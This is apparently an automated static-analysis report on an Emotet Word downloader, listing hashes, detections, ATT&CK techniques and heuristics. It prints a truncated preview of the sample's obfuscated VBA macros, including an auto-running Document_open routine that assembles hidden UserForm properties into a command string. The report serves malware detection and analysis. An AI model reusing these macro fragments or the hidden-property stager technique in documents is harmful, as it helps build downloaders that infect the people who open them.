Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5d650178ebbda1bf…

MALICIOUS

Office (OLE)

185.3 KB Created: 2019-12-17 19:30:00 Authoring application: Microsoft Office Word First seen: 2020-01-07
MD5: e7403a281cf587a968b23d5e3bfba09d SHA-1: 40ee9897f40207bda008d7d0fee2421a7a74b230 SHA-256: 5d650178ebbda1bfe6d79f9c803c397094b6caa40bf3d256dd4dbf0a4af7d2c7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7461037-0', indicating a known downloader variant of Emotet. Critical heuristics confirm the presence of a VBA UserForm hidden-property command stager within the Document_Open macro, which is designed to auto-execute and likely download a secondary payload. The obfuscated VBA code, while truncated, strongly suggests this malicious intent.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9663 bytes
SHA-256: e4d3865ec300f4f33eaf8ee36c4c3bdd232e2b7678dabb1522fb6fb0e3ebe1d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vidpgeil"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Lxijupngv, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Nfcmzbootohq = Onvjmhztum To Onlefmhjnifep
         Sweudfnzpv = Msukpnbmacoiv
         Zfhrtwugwq = Saowjipursyqq
Next
Select Case Lpivyuvn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Jgkaawvg = Aihtijhnktshs To Asosmqcw
         Pzwdsqrmrzljs = Tlqhjcniz
         Gotixmcu = Kjrdavacpq
Next
Select Case Nsflpvxcrw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Qzzktgcfb = Hukkknizcpog To Alshswhn
         Gqshutxt = Cqtmthrd
         Ctjisvjyjnkt = Duvaeiruul
Next
Select Case Rgnkfdpazn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Hdzaptpn
End Sub

Attribute VB_Name = "Fbkxcpydi"
Attribute VB_Base = "0{61608FF3-A1FE-4B72-A38B-620C68AAECBB}{C74E457D-497C-471F-84DB-0183F84210C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Bnzailenjg"
Function Eigrhutqjn()
   For Bsbdlhis = Dhlehfaylilou To Gpaasmxic
         Qiowmwhya = Kozvbiuqn
         Zfrhsjmgyjq = Rjpwogvjgyf
Next
Select Case Wkpolajz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Qslrgyfj = Vidpgeil.Lxijupngv
   For Ivuovixrwrgx = Msyfxuxaniqvn To Wqklqchum
         Ydwqavbwesi = Hwiimxav
         Zbwlgufymw = Tdwhvtqvmouid
Next
Select Case Zioivbrwpejv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Yfhlbpnosn = Qslrgyfj + Fbkxcpydi.Cejfehsiqdp + Fbkxcpydi.Miwnattqddm + Fbkxcpydi.Sauuakhgbazqj
   For Nuukwwmkpo = Tkdcprhcwsa To Ryqmmoarox
         Qaioftbbuzawn = Kknutyafyvyc
         Vfmogzqz = Zzupryuygtqh
Next
Select Case Uxpvksgq
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Frkvgeyph = Yfhlbpnosn + Fbkxcpydi.Evrezirnfj + Fbkxcpydi.Gpxjleht
   For Meceodkgh = Sbehhsuenjruc To Ddgoaukryszhy
         Oihppvmawiiob = Jafszgztgeik
         Hlwmqvjmmja = Kfsgjuei
Next
Select Case Fspopblg
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / il
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.